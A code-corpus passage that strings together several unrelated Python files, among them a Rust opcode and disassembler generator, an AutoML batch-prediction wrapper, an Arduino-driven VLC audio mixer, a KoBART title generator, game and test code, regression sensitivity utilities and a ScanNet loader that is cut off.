PartialEq, Eq)]\n") o.write(f"pub enum {raw_opcode} {{\n") for m in match: if m[1] != "": op = m[1].replace(" ", "_").replace(",", "_") op2 = op.replace("__D16", "") op2 = op2.replace("_D16", "") op2 = op2.replace("D16", "") op2 = op2.replace("__D8", "") op2 = op2.replace("_D8", "") op2 = op2.replace("D8", "") op2 = op2.replace("_adr", "") o.write(f"{' ' * 4}{op2} = {m[0]},\n") f2.write(f"{' ' * 4 * 3}{m[0]} => {{\n{' ' * 4 * 4}i += ") if op.endswith("D16") or op.endswith("_adr"): f2.write( f"3;\n{' ' * 4 * 4}if i >= bin.len() {{\n{' ' * 4 * 5}return Err(OpError(i - bin.len()));\n" ) f2.write( f"{' ' * 4 * 4}}} else {{\n{' ' * 4 * 5}{raw_opcode}::{op2}\n{' ' * 4 * 4}}}\n" ) f2.write(f"{' ' * 4 * 3}}}\n") elif op.endswith("D8"): f2.write( f"2;\n{' ' * 4 * 4}if i >= bin.len() {{\n{' ' * 4 * 5}return Err(OpError(i - bin.len()));\n" ) f2.write( f"{' ' * 4 * 4}}} else {{\n{' ' * 4 * 5}{raw_opcode}::{op2}\n{' ' * 4 * 4}}}\n" ) f2.write(f"{' ' * 4 * 3}}}\n") else: f2.write( f"1;\n{' ' * 4 * 4}{raw_opcode}::{op2}\n{' ' * 4 * 3}}}\n" ) o.write("}\n\n") o.write(f"impl {raw_opcode} {{\n") o.write(f"{' ' * 4}pub fn size(&self) -> usize {{\n") o.write(f"{' ' * 4 * 2}match *self {{\n") for m in match: if m[1] != "": op = m[1].replace(" ", "_").replace(",", "_") op2 = op.replace("__D16", "") op2 = op2.replace("_D16", "") op2 = op2.replace("D16", "") op2 = op2.replace("__D8", "") op2 = op2.replace("_D8", "") op2 = op2.replace("D8", "") op2 = op2.replace("_adr", "") o.write(f"{' ' * 4 * 3}{raw_opcode}::{op2} => {m[2]},\n") o.write(f"{' ' * 4 * 2}}}\n{' ' * 4}}}\n}}\n\n") o.write(f"impl From<u8> for {raw_opcode} {{\n") o.write(f"{' ' * 4}fn from(t: u8) -> {raw_opcode} {{\n") o.write(f"{' ' * 4 * 2}match t {{\n") o.write(f"{' ' * 4 * 3}// Undocumented ops\n") o.write( f"{' ' * 4 * 3}0x08 | 0x10 | 0x18 | 0x20 | 0x28 | 0x30 | 0x38 => RawOpcode::NOP,\n" ) o.write(f"{' ' * 4 * 3}0xd9 => RawOpcode::RET,\n") o.write(f"{' ' * 4 * 3}0xdd | 0xed | 0xfd => RawOpcode::CALL,\n") o.write(f"{' ' * 4 * 3}0xcb => RawOpcode::JMP,\n") o.write(f"{' ' * 4 * 3}_ => unsafe {{ mem::transmute(t) }},\n") o.write(f"{' ' * 4 * 2}}}\n{' ' * 4}}}\n}}\n\n") o.write(f"impl From<&u8> for {raw_opcode} {{\n") o.write(f"{' ' * 4}fn from(t: &u8) -> {raw_opcode} {{\n") o.write(f"{' ' * 4 * 2}From::from(*t)\n") o.write(f"{' ' * 4}}}\n}}\n\n") o.write(f"impl Into<u8> for {raw_opcode} {{\n") o.write(f"{' ' * 4}fn into(self) -> u8 {{\n") o.write(f"{' ' * 4 * 2}unsafe {{ mem::transmute(self) }}\n") o.write(f"{' ' * 4}}}\n}}\n\n") o.write(f"impl fmt::Display for {raw_opcode} {{\n") o.write( f"{' ' * 4}fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {{\n" ) o.write( f"{' ' * 4 * 2}write!(f, \"{{:?}}(0x{{:02x?}})\", self, *self as u8)\n" ) o.write(f"{' ' * 4}}}\n}}\n\n") f2.write(f"{' ' * 4 * 3}_ => {{\n{' ' * 4 * 4}i += ") f2.write(f"1;\n{' ' * 4 * 4}{raw_opcode}::NOP\n{' ' * 4 * 3}}}\n") f2.write(f"{' ' * 4 * 2}}});\n") f2.write(f"{' ' * 4}}}\n\n{' ' * 4}Ok(ops)\n}}\n\n") o.write("#[derive(Debug, Clone, Copy, PartialEq, Eq)]\n") o.write(f"pub enum {wrap_opcode} {{\n") f2.write( f"pub fn disassemble(bin: &[u8]) -> Result<Vec<{wrap_opcode}>, {opcode_err}> {{\n" ) f2.write(f"{' ' * 4}let mut ops = Vec::new();\n\n") f2.write(f"{' ' * 4}let mut i = 0;\n") f2.write(f"{' ' * 4}while i < bin.len() {{\n") f2.write(f"{' ' * 4 * 2}ops.push(match bin[i] {{\n") for m in match: if m[1] != "": op = m[1].replace(" ", "_").replace(",", "_").lower() op = humps.pascalize(op) op = op.replace("__D16", "(u8, u8)") op = op.replace("_D16", "(u8, u8)") op = op.replace("D16", "(u8, u8)") op = op.replace("__D8", "(u8)") op = op.replace("_D8", "(u8)") op = op.replace("D8", "(u8)") op = op.replace("Adr", "(u16)") op = op.replace("_B", "B") op = op.replace("_C", "C") op = op.replace("_D", "D") op = op.replace("_E", "E") op = op.replace("_H", "H") op = op.replace("_L", "L") op = op.replace("_M", "M") op = op.replace("_A", "A") o.write(f"{' ' * 4}{op},\n") op2 = op.replace("(u8, u8)", "(*b2, *b1)") op2 = op2.replace("(u8)", "(*b1)") op2 = op2.replace("(u16)", "(u16::from_le_bytes([*b1, *b2]))") f2.write(f"{' ' * 4 * 3}{m[0]} => {{\n{' ' * 4 * 4}i += ") if op2.endswith("(*b2, *b1)") or op2.endswith( "(u16::from_le_bytes([*b1, *b2]))" ): f2.write( f"3;\n{' ' * 4 * 4}let b1 = bin.get(i - 2).ok_or({opcode_err}(2))?;" ) f2.write( f"\n{' ' * 4 * 4}let b2 = bin.get(i - 1).ok_or({opcode_err}(1))?;" ) f2.write( f"\n{' ' * 4 * 4}{wrap_opcode}::{op2}\n{' ' * 4 * 3}}}\n" ) elif op2.endswith("(*b1)"): f2.write( f"2;\n{' ' * 4 * 4}let b1 = bin.get(i - 1).ok_or({opcode_err}(1))?;" ) f2.write( f"\n{' ' * 4 * 4}{wrap_opcode}::{op2}\n{' ' * 4 * 3}}}\n" ) else: f2.write( f"1;\n{' ' * 4 * 4}{wrap_opcode}::{op2}\n{' ' * 4 * 3}}}\n" ) f2.write(f"{' ' * 4 * 3}_ => {{\n{' ' * 4 * 4}i += ") f2.write(f"1;\n{' ' * 4 * 4}{wrap_opcode}::Nop\n{' ' * 4 * 3}}}\n") f2.write(f"{' ' * 4 * 2}}});\n") f2.write(f"{' ' * 4}}}\n\n{' ' * 4}Ok(ops)\n}}\n") o.write("}\n\n") o.write(f"impl {wrap_opcode} {{\n") o.write(f"{' ' * 4}pub fn size(&self) -> usize {{\n") o.write(f"{' ' * 4 * 2}match *self {{\n") for m in match: if m[1] != "": op = m[1].replace(" ", "_").replace(",", "_").lower() op = humps.pascalize(op) op = op.replace("__D16", "(_, _)") op = op.replace("_D16", "(_, _)") op = op.replace("D16", "(_, _)") op = op.replace("__D8", "(_)") op = op.replace("_D8", "(_)") op = op.replace("D8", "(_)") op = op.replace("Adr", "(_)") op = op.replace("_B", "B") op = op.replace("_C", "C") op = op.replace("_D", "D") op = op.replace("_E", "E") op = op.replace("_H", "H") op = op.replace("_L", "L") op = op.replace("_M", "M") op = op.replace("_A", "A") o.write(f"{' ' * 4 * 3}{wrap_opcode}::{op} => {m[2]},\n") o.write(f"{' ' * 4 * 2}}}\n{' ' * 4}}}\n}}\n") with open(asm_output, "w") as f: f.write(header.format(asm_output, op_input)) f.write("use super::op::*;\npub mod lexer;\n\n") f.write(f"pub fn codegen(ops: &[{wrap_opcode}]) -> Vec<u8> {{\n") f.write(f"{' ' * 4}let mut bin = Vec::new();\n\n") f.write(f"{' ' * 4}let mut i = 0;\n") f.write(f"{' ' * 4}while i < ops.len() {{\n") f.write(f"{' ' * 4 * 2}match ops[i] {{\n") for m in match: if m[1] != "": op = m[1].replace(" ", "_").replace(",", "_").lower() op = humps.pascalize(op) op = op.replace("__D16", "(b2, b1)") op = op.replace("_D16", "(b2, b1)") op = op.replace("D16", "(b2, b1)") op = op.replace("__D8", "(b1)") op = op.replace("_D8", "(b1)") op = op.replace("D8", "(b1)") op = op.replace("Adr", "(s1)") op = op.replace("_B", "B") op = op.replace("_C", "C") op = op.replace("_D", "D") op = op.replace("_E", "E") op = op.replace("_H", "H") op = op.replace("_L", "L") op = op.replace("_M", "M") op = op.replace("_A", "A") f.write(f"{' ' * 4 * 3}{wrap_opcode}::{op} => {{\n") if op.endswith("(b2, b1)"): f.write(f"{' ' * 4 * 4}bin.push({m[0]}u8);\n") f.write( f"{' ' * 4 * 4}bin.push(b1);\n{' ' * 4 * 4}bin.push(b2);\n{' ' * 4 * 3}}}\n" ) elif op.endswith("(b1)"): f.write(f"{' ' * 4 * 4}bin.push({m[0]}u8);\n") f.write(f"{' ' * 4 * 4}bin.push(b1);\n{' ' * 4 * 3}}}\n") elif op.endswith("(s1)"): f.write(f"{' ' * 4 * 4}bin.push({m[0]}u8);\n") f.write(f"{' ' * 4 * 4}let b = s1.to_le_bytes();\n") f.write( f"{' ' * 4 * 4}bin.push(b[0]);\n{' ' * 4 * 4}bin.push(b[1]);\n{' ' * 4 * 3}}}\n" ) else: f.write(f"{' ' * 4 * 4}bin.push({m[0]}u8);\n{' ' * 4 * 3}}}\n") f.write(f"{' ' * 4 * 2}}}\n{' ' * 4 * 2}i += 1;\n") f.write(f"{' ' * 4}}}\n\n{' ' * 4}bin\n}}\n") if __name__ == "__main__": main()
python
# Copyright 2019 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Automl Tables Batch Predict wrapper.""" import logging from pathlib import Path from google.cloud import automl_v1beta1 as automl def predict(project_id, region, model_id, datasource, destination_prefix, output_destination): """Runs batch predict on an AutoML tables model. Args: project_id: A project ID for AutoML. region: A region for AutoML processing. model_id: An ID of a trained AutoML model. datasource: The URL of a dataset to score. Should start with 'bq://' for BigQuery and 'gs://' for Cloud storage. destination_prefix: A destination prefix for the output. 'bq' for BigQuery, 'gs' for Cloud Storage. output_destination: Used by KFP. """ logging.basicConfig(level=logging.INFO) client = automl.PredictionServiceClient() # Prepare the prediction query config model_full_id = client.model_path(project_id, region, model_id) if datasource.startswith("bq"): input_config = {"bigquery_source": {"input_uri": datasource}} else: input_uris = datasource.split(",") input_config = {"gcs_source": {"input_uris": input_uris}} if destination_prefix.startswith("bq"): output_config = {"bigquery_destination": {"output_uri": destination_prefix}} else: output_config = { "gcs_destination": { "output_uri_prefix": destination_prefix } } # Run the prediction query logging.info("Starting batch scoring using: {}".format(datasource)) response = client.batch_predict(model_full_id, input_config, output_config) # Wait for completion response.result() result = response.metadata logging.info("Batch scoring completed: {}".format(str(result))) # Save results if destination_prefix.startswith("bq"): output = result.batch_predict_details.output_info.bigquery_output_dataset else: output = result.batch_predict_details.output_info.gcs_output_directory Path(output_destination).parent.mkdir(parents=True, exist_ok=True) Path(output_destination).write_text(output)
python
import CustomVLCClass import serial import time import threading time.sleep(20) while True: def inputListener(): inputdata = input('0 to quit the first song, 1 to quit the second song') if(inputdata == '0'): if a.mediaplayer.is_playing() : a.pause() else: a.play() print("Quiting 0") inputListener() #Starting another time the inputListener elif(inputdata == '1'): if b.mediaplayer.is_playing(): b.pause() else: b.play() print("Quiting 1") inputListener() #Starting another time the inputListener elif(inputdata == '00'): a.mute() inputListener() elif(inputdata == '01'): a.unmute() inputListener() def arduinoListener(): past0 = 0 #For counting the last chip in the field past1 = 0 past2 = 0 past3 = 0 past4 = 0 while True: try: line = ser.readline() if not line: continue x = line.decode('ascii', errors='replace') if x == '00\r\n': print("00") if past0 == 1: a.mute() if past0 == 2: b.mute() if past0 == 3: c.mute() if past0 == 4: d.mute() if past0 == 5: e.mute() if past0 == 6: f.mute() past0 = 0 elif x == '01\r\n': print("01") past0 = 1 a.unmute() elif x == '02\r\n': print("02") past0 = 2 b.unmute() elif x == '03\r\n': print("03") past0 = 3 c.unmute() elif x == '04\r\n': print("04") past0 = 4 d.unmute() elif x == '05\r\n': print("05") past0 = 5 e.unmute() elif x == '06\r\n': print("06") past0 = 6 f.unmute() if x == '10\r\n': print("10") if past1 == 1: a.mute() if past1 == 2: b.mute() if past1 == 3: c.mute() if past1 == 4: d.mute() if past1 == 5: e.mute() if past1 == 6: f.mute() past1 = 0 elif x == '11\r\n': print("11") past1 = 1 a.unmute() elif x == '12\r\n': print("12") past1 = 2 b.unmute() elif x == '13\r\n': print("13") past1 = 3 c.unmute() elif x == '14\r\n': print("14") past1 = 4 d.unmute() elif x == '15\r\n': print("15") past1 = 5 e.unmute() elif x == '16\r\n': print("16") past1 = 6 f.unmute() if x == '20\r\n': print("20") if past2 == 1: a.mute() if past2 == 2: b.mute() if past2 == 3: c.mute() if past2 == 4: d.mute() if past2 == 5: e.mute() if past2 == 6: f.mute() past1 = 0 elif x == '21\r\n': print("21") past2 = 1 a.unmute() elif x == '22\r\n': print("22") past2 = 2 b.unmute() elif x == '23\r\n': print("23") past2 = 3 c.unmute() elif x == '24\r\n': print("24") past2 = 4 d.unmute() elif x == '25\r\n': print("25") past2 = 5 e.unmute() elif x == '26\r\n': print("26") past2 = 6 f.unmute() if x == '30\r\n': print("30") if past3 == 1: a.mute() if past3 == 2: b.mute() if past3 == 3: c.mute() if past3 == 4: d.mute() if past3 == 5: e.mute() if past3 == 6: f.mute() past3 = 0 elif x == '31\r\n': print("31") past3 = 1 a.unmute() elif x == '32\r\n': print("32") past3 = 2 b.unmute() elif x == '33\r\n': print("33") past3 = 3 c.unmute() elif x == '34\r\n': print("34") past3 = 4 d.unmute() elif x == '35\r\n': print("35") past3 = 5 e.unmute() elif x == '36\r\n': print("36") past3 = 6 f.unmute() if x == '40\r\n': print("40") if past4 == 1: a.mute() if past4 == 2: b.mute() if past4 == 3: c.mute() if past4 == 4: d.mute() if past4 == 5: e.mute() if past4 == 6: f.mute() past4 = 0 elif x == '41\r\n': print("41") past4 = 1 a.unmute() elif x == '42\r\n': print("42") past4 = 2 b.unmute() elif x == '43\r\n': print("43") past4 = 3 c.unmute() elif x == '44\r\n': print("44") past4 = 4 d.unmute() elif x == '45\r\n': print("45") past4 = 5 e.unmute() elif x == '46\r\n': print("46") past4 = 6 f.unmute() except KeyboardInterrupt: print("exiting") break ser = serial.Serial('/dev/ttyAMA0', 9600, timeout=1.0) ser.setDTR(False) time.sleep(1) ser.flushInput() ser.setDTR(True) a = CustomVLCClass.CustomVLCClass(filename="/acien101/AudioMixer/audio/1.mp3") b = CustomVLCClass.CustomVLCClass(filename="/acien101/AudioMixer/audio/2.mp3") c = CustomVLCClass.CustomVLCClass(filename="/acien101/AudioMixer/audio/3.mp3") d = CustomVLCClass.CustomVLCClass(filename="/acien101/AudioMixer/audio/4.mp3") e = CustomVLCClass.CustomVLCClass(filename="/acien101/AudioMixer/audio/5.mp3") f = CustomVLCClass.CustomVLCClass(filename="/acien101/AudioMixer/audio/6.mp3") inputArduinoThread = threading.Thread(target=arduinoListener, name="inputAduino") inputArduinoThread.start() while a.mediaplayer.is_playing() and b.mediaplayer.is_playing: time.sleep(0.1)
python
import torch from kobart import get_kobart_tokenizer from transformers.models.bart import BartForConditionalGeneration class KoBART_title(): def __init__(self, ckpt_path="./n_title_epoch_3"): self.model = BartForConditionalGeneration.from_pretrained(ckpt_path).cuda() self.tokenizer = get_kobart_tokenizer() def infer(self, text): input_ids = self.tokenizer.encode(text) input_ids = torch.tensor(input_ids) input_ids = input_ids.unsqueeze(0).cuda() output = self.model.generate(input_ids, eos_token_id=1, max_length=512, num_beams=5) output = self.tokenizer.decode(output[0], skip_special_tokens=True) return output if __name__ == "__main__": num = 0 title_class = KoBART_title() while(1): num += 1 c = input(f'{num}: context> ').strip() t = title_class.infer(c) print(f"Title: {t}")
python
from scripts.game_objects.game_object import GameObject from scripts.consts import IRON_SWORD, WOODEN_BOW class Weapon(GameObject): def __init__(self, game, type, damage, x, y): weapon_dict = {'iron_sword': IRON_SWORD, 'wooden_bow': WOODEN_BOW} super().__init__(game, weapon_dict[type], x, y, game.pickable_objects, game.all_sprites) self.damage = damage self.type = type def use(self): if self.type == 'iron_sword': if self.game.inventory.sword_slot.item: if self.game.inventory.sword_slot.item == self: self.game.inventory.add_item(self) self.game.inventory.sword_slot.item = None self.game.inventory.sword_slot.selected = False self.game.player.damage = 3 else: self.game.inventory.sword_slot.item = self for cell in self.game.inventory.cells: if cell.item == self: cell.item = None cell.selected = False self.game.all_sprites.remove(self) self.game.pickable_objects.remove(self) self.game.player.damage = self.damage else: if self.game.inventory.bow_slot.item: if self.game.inventory.bow_slot.item == self: self.game.inventory.add_item(self) self.game.inventory.bow_slot.item = None self.game.inventory.bow_slot.selected = False self.game.player.bow_damage = 3 else: self.game.inventory.bow_slot.item = self for cell in self.game.inventory.cells: if cell.item == self: cell.item = None cell.selected = False self.game.all_sprites.remove(self) self.game.pickable_objects.remove(self) self.game.player.bow_damage = self.damage
python
# Copyright (c) 2014 ITOCHU Techno-Solutions Corporation. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import mox import testtools from oslo.config import cfg from rack import exception from rack import service from rack import test from rack.tests import utils from rack import wsgi test_service_opts = [ cfg.StrOpt("fake_manager", default="rack.tests.test_service.FakeManager", help="Manager for testing"), cfg.StrOpt("test_service_listen", default='127.0.0.1', help="Host to bind test service to"), cfg.IntOpt("test_service_listen_port", default=0, help="Port number to bind test service to"), ] CONF = cfg.CONF CONF.register_opts(test_service_opts) class TestWSGIService(test.TestCase): def setUp(self): super(TestWSGIService, self).setUp() self.stubs.Set(wsgi.Loader, "load_app", mox.MockAnything()) def test_service_random_port(self): test_service = service.WSGIService("test_service") test_service.start() self.assertNotEqual(0, test_service.port) test_service.stop() def test_service_start_with_illegal_workers(self): CONF.set_override("rackapi_workers", -1) self.assertRaises(exception.InvalidInput, service.WSGIService, "rackapi") @testtools.skipIf(not utils.is_ipv6_supported(), "no ipv6 support") def test_service_random_port_with_ipv6(self): CONF.set_default("test_service_listen", "::1") test_service = service.WSGIService("test_service") test_service.start() self.assertEqual("::1", test_service.host) self.assertNotEqual(0, test_service.port) test_service.stop() class TestLauncher(test.TestCase): def setUp(self): super(TestLauncher, self).setUp() self.stubs.Set(wsgi.Loader, "load_app", mox.MockAnything()) self.service = service.WSGIService("test_service") def test_launch_app(self): service.serve(self.service) self.assertNotEqual(0, self.service.port) service._launcher.stop()
python
from __future__ import unicode_literals __all__ = ( 'Key', 'Keys', ) class Key(object): def __init__(self, name): #: Descriptive way of writing keys in configuration files. e.g. <C-A> #: for ``Control-A``. self.name = name def __repr__(self): return 'Key(%s)' % self.name class Keys(object): Escape = Key('<Escape>') ControlA = Key('<C-A>') ControlB = Key('<C-B>') ControlC = Key('<C-C>') ControlD = Key('<C-D>') ControlE = Key('<C-E>') ControlF = Key('<C-F>') ControlG = Key('<C-G>') ControlH = Key('<C-H>') ControlI = Key('<C-I>') # Tab ControlJ = Key('<C-J>') # Enter ControlK = Key('<C-K>') ControlL = Key('<C-L>') ControlM = Key('<C-M>') # Enter ControlN = Key('<C-N>') ControlO = Key('<C-O>') ControlP = Key('<C-P>') ControlQ = Key('<C-Q>') ControlR = Key('<C-R>') ControlS = Key('<C-S>') ControlT = Key('<C-T>') ControlU = Key('<C-U>') ControlV = Key('<C-V>') ControlW = Key('<C-W>') ControlX = Key('<C-X>') ControlY = Key('<C-Y>') ControlZ = Key('<C-Z>') ControlSpace = Key('<C-Space>') ControlBackslash = Key('<C-Backslash>') ControlSquareClose = Key('<C-SquareClose>') ControlCircumflex = Key('<C-Circumflex>') ControlUnderscore = Key('<C-Underscore>') Up = Key('<Up>') Down = Key('<Down>') Right = Key('<Right>') Left = Key('<Left>') Home = Key('<Home>') End = Key('<End>') Delete = Key('<Delete>') ShiftDelete = Key('<ShiftDelete>') PageUp = Key('<PageUp>') PageDown = Key('<PageDown>') BackTab = Key('<BackTab>') # shift + tab Tab = ControlI Backspace = ControlH F1 = Key('<F1>') F2 = Key('<F2>') F3 = Key('<F3>') F4 = Key('<F4>') F5 = Key('<F5>') F6 = Key('<F6>') F7 = Key('<F7>') F8 = Key('<F8>') F9 = Key('<F9>') F10 = Key('<F10>') F11 = Key('<F11>') F12 = Key('<F12>') F13 = Key('<F13>') F14 = Key('<F14>') F15 = Key('<F15>') F16 = Key('<F16>') F17 = Key('<F17>') F18 = Key('<F18>') F19 = Key('<F19>') F20 = Key('<F20>') # Matches any key. Any = Key('<Any>') # Special CPRResponse = Key('<Cursor-Position-Response>')
python
import autograd import autograd.numpy as np import scipy as sp from copy import deepcopy import paragami from paragami.autograd_supplement_lib import grouped_sum import vittles import time def _validate(y, x): n_obs = x.shape[0] x_dim = x.shape[1] if len(y) != n_obs: raise ValueError( 'The length of ``y`` must match the number of rows in ``x``.') return n_obs, x_dim def reg(y, x, w=None, offset=None): """The regression parameter at the given perturbations. This should be the optimum of ``reg_obj`` with the corresponding parameters. """ n_obs, x_dim = _validate(y=y, x=x) if offset is None: offset = np.zeros(x_dim) if w is not None: x_w = x * np.expand_dims(w, axis=1) else: x_w = x x_wt_x = x_w.T @ x / n_obs x_wt_y = x_w.T @ y / n_obs return np.linalg.solve(x_wt_x, x_wt_y - offset).flatten() def reg_obj(beta, y, x, w=None, offset=None): """The objective function for linear regression. Here, I use the weighted method-of-moments objective function defined as follows. Let epsilon = Y - X beta, and let X^T epsilon = m. The objective function is to set m equal to offset using a weighted quadratic loss, which is (m - offset)^T (X^T X)^{-1} (m - offset) The weighting matrix (X^T X)^{-1} improves numerical stability and gives a loss function that is identical to OLS when offset = 0. """ n_obs, x_dim = _validate(y=y, x=x) if offset is None: offset = np.zeros_like(beta) if w is not None: xw = x * w[:, None] xtx = xw.T @ x / n_obs xty = xw.T @ y / n_obs else: xtx = x.T @ x / n_obs xty = x.T @ y / n_obs # This is the method of moments objective after expanding, dropping # terms that do not depend on beta, and collecting. result = \ np.dot(beta, xtx @ beta) + \ 2 * np.dot(beta, offset - xty) assert result.shape == () return result def get_standard_error_matrix(betahat, y, x, w, se_group=None): """Return the standard error matrix for the regression estimate betahat. If se_group is None, compute the ordinary regression standard error. Otherwise, compute the robust standard errors using the grouping given by se_group, which is assumed to be integers 0:(num_groups - 1). Note that se_group must be zero-indexed, and the number of groups is taken to be the largest index plus one. (This behavior is implicitly assumed in group_sum.) With the se_group option, no finite-sample bias adjustment is applied. For example, the resulting ses should be equivalent to calling the R function sandwich::vcovCL(..., cluster=se_group, type="HC0", cadjust=FALSE) """ resid = y - x @ betahat # For now, I am taking the weights to parameterize a change to the # objective function rather than a change to the empirical distribution. # See email from me to Rachael and Tamara on Jan 31, 2020, 2:50 PM # for more discussion of this subtle point. if se_group is None: # I am using num_obs instead of np.sum(w) because w does not # parameterize the empirical distribution. num_obs = len(y) xtx_bar = np.einsum('ni,nj,n->ij', x, x, w) / num_obs sigma2hat = np.sum(w * (resid ** 2)) / (num_obs - len(betahat)) xtx_inv = np.linalg.inv(xtx_bar) se2 = sigma2hat * xtx_inv / num_obs return se2 else: if len(se_group) != len(y): raise ValueError("se_group must be the same length as the data.") #resid = y - x @ betahat if np.min(se_group) != 0: raise ValueError('se_group must be zero-indexed ' + '(its minimum must be zero)') # Calculate the sample variance of the gradient where each group # is treated as a single observation. grad = w[:, None] * resid[:, None] * x grad_grouped = grouped_sum(grad, se_group) num_groups = grad_grouped.shape[0] grad2_mean = np.einsum('gi,gj->ij', grad_grouped, grad_grouped) / num_groups grad_mean = np.einsum('gi->i', grad_grouped) / num_groups grad_cov = grad2_mean - np.outer(grad_mean, grad_mean) # Weight by the Hessian. xtx_bar = np.einsum('ni,nj,n->ij', x, x, w) / num_groups hinv_grad_cov = np.linalg.solve(xtx_bar, grad_cov) se2 = np.linalg.solve(xtx_bar, hinv_grad_cov.T) / num_groups return se2 def get_regression_w_grads(beta, y, x, w0, se_group=None): sens_reg_obj = lambda beta, w: reg_obj(beta, y=y, x=x, w=w) obs_w_sens = vittles.HyperparameterSensitivityLinearApproximation( objective_fun=sens_reg_obj, opt_par_value=beta, hyper_par_value=w0, validate_optimum=True, grad_tol=1e-08) get_betahat = obs_w_sens.get_opt_par_function() def get_se(w): betahat = get_betahat(w) se_cov = get_standard_error_matrix(betahat, y, x, w=w, se_group=se_group) return np.sqrt(np.diag(se_cov)) se = get_se(w0) betahat_grad = obs_w_sens.get_dopt_dhyper() se_grad = autograd.jacobian(get_se)(w0) return se, betahat_grad, se_grad ############################################################# # Sensitivity to the `offset`, i.e to the moment condition E[X eps] = offset. # This is actually a little silly, since the regression solution is # linear in the offset. But this shows how you would to it in general and # it isn't expensive. def get_regression_offset_grads(beta, y, x, offset0, se_group=None): sens_reg_obj = lambda beta, offset: reg_obj(beta, y=y, x=x, offset=offset) offset_sens = vittles.HyperparameterSensitivityLinearApproximation( objective_fun=sens_reg_obj, opt_par_value=beta, hyper_par_value=offset0, validate_optimum=True, grad_tol=1e-08) get_betahat = offset_sens.get_opt_par_function() # I believe that using an offset should not affect the values of the # standard errors. def get_se(offset): betahat = get_betahat(offset) se_cov = get_standard_error_matrix( betahat, y, x, w=np.ones(x.shape[0]), se_group=se_group) return np.sqrt(np.diag(se_cov)) se = get_se(offset0) betahat_grad = offset_sens.get_dopt_dhyper() se_grad = autograd.jacobian(get_se)(offset0) return se, betahat_grad, se_grad ########################################################## # The below functions are now being done in the R library. # Estimate how many datapoints we would have to remove to effect a change of delta. def inds_to_effect_change(leverage, desired_delta): # Argsort sorts low to high. # We are removing points, so multiply by -1. sort_inds = np.argsort(leverage * np.sign(desired_delta)) deltas = -1 * np.cumsum(leverage[sort_inds]) change_sign_inds = np.argwhere( np.sign(desired_delta) * (desired_delta - deltas) <= 0.) if len(change_sign_inds) > 0: first_ind_change_sign = np.min(change_sign_inds) remove_inds = sort_inds[:(first_ind_change_sign + 1)] return remove_inds else: return None def print_change_results(inds, effect_str, lev_len): print('Assuming linearity, which may not hold for large numbers of points,') if inds is not None: print('removing {} observations ({:0.2f}%) would {}.'.format( len(inds), 100 * len(inds) / lev_len, effect_str)) else: print('no number of observations would {}.'.format(effect_str))
python
import json import numpy as np import os.path as osp import warnings from collections import defaultdict from plyfile import PlyData from six import b from ..utils.point_clouds import uniform_sample from ..utils import invert_dictionary, read_dict from ..utils.plotting import plot_pointcloud from .three_d_object import ThreeDObject import ipdb st = ipdb.set_trace class ScannetDataset(object): """ Holds Scannet mesh and labels data paths and some needed class labels mappings Note: data downloaded from: http://www.scan-net.org/changelog#scannet-v2-2018-06-11 """ def __init__(self, top_scan_dir, idx_to_semantic_cls_file, instance_cls_to_semantic_cls_file, axis_alignment_info_file): self.top_scan_dir = top_scan_dir self.idx_to_semantic_cls_dict = read_dict(idx_to_semantic_cls_file) self.semantic_cls_to_idx_dict = invert_dictionary(self.idx_to_semantic_cls_dict) self.instance_cls_to_semantic_cls_dict = read_dict(instance_cls_to_semantic_cls_file) self.semantic_cls_to_instance_cls_dict = defaultdict(list) for k, v in self.instance_cls_to_semantic_cls_dict.items(): self.semantic_cls_to_instance_cls_dict[v].append(k) self.scans_axis_alignment_matrices = read_dict(axis_alignment_info_file) def idx_to_semantic_cls(self, semantic_idx): return self.idx_to_semantic_cls_dict[str(semantic_idx)] def semantic_cls_to_idx(self, semantic_cls): return self.semantic_cls_to_idx_dict[str(semantic_cls)] def instance_cls_to_semantic_cls(self, instance_cls): return self.instance_cls_to_semantic_cls_dict[str(instance_cls)] def get_axis_alignment_matrix(self, scan_id): return self.scans_axis_alignment_matrices[scan_id] class ScannetScan(object): """ Keep track of the point-cloud associated with the scene of Scannet. Includes meta-information such as the object that exist in the scene, their semantic labels and their RGB color. """ def __init__(self, scan_id, scannet_dataset, apply_global_alignment=True, hardcode_boxes_path=None): """ :param scan_id: (string) e.g. 'scene0705_00' :scannet_dataset: (ScannetDataset) captures the details about the class-names, top-directories etc. """ self.dataset = scannet_dataset self.scan_id = scan_id self.pc, self.semantic_label, self.color = \ self.load_point_cloud_with_meta_data(self.scan_id, apply_global_alignment=apply_global_alignment) self.three_d_objects = None # A list with ThreeDObject contained in this Scan self.hardcoded_boxes = None if hardcode_boxes_path is not None: self.hardcoded_objects = None # A list with ThreeDObject contained in this Scan self.hardcoded_boxes = self.load_hardcoded_boxes(hardcode_boxes_path) def __str__(self, verbose=True): res = '{}'.format(self.scan_id) if verbose: res += ' with {} points'.format(self.n_points()) return res def n_points(self): return len(self.pc) def verify_read_data_correctness(self, scan_aggregation, segment_file, segment_indices): c1 = scan_aggregation['sceneId'][len('scannet.'):] == self.scan_id scan_segs_suffix = '_vh_clean_2.0.010000.segs.json' segment_dummy = self.scan_id + scan_segs_suffix c2 = segment_file == segment_dummy c3 = len(segment_indices) == self.n_points() c = np.array([c1, c2, c3]) if not np.all(c): warnings.warn('{} has some issue'.format(self.scan_id)) return c def load_point_cloud_with_meta_data(self, load_semantic_label=True, load_color=True, apply_global_alignment=True): """ :param load_semantic_label: :param load_color: :param apply_global_alignment: rotation/translation of scan according to Scannet meta-data. :return: """ scan_ply_suffix = '_vh_clean_2.labels.ply' mesh_ply_suffix = '_vh_clean_2.ply' scan_data_file = osp.join(self.dataset.top_scan_dir, self.scan_id, self.scan_id + scan_ply_suffix) data = PlyData.read(scan_data_file) x = 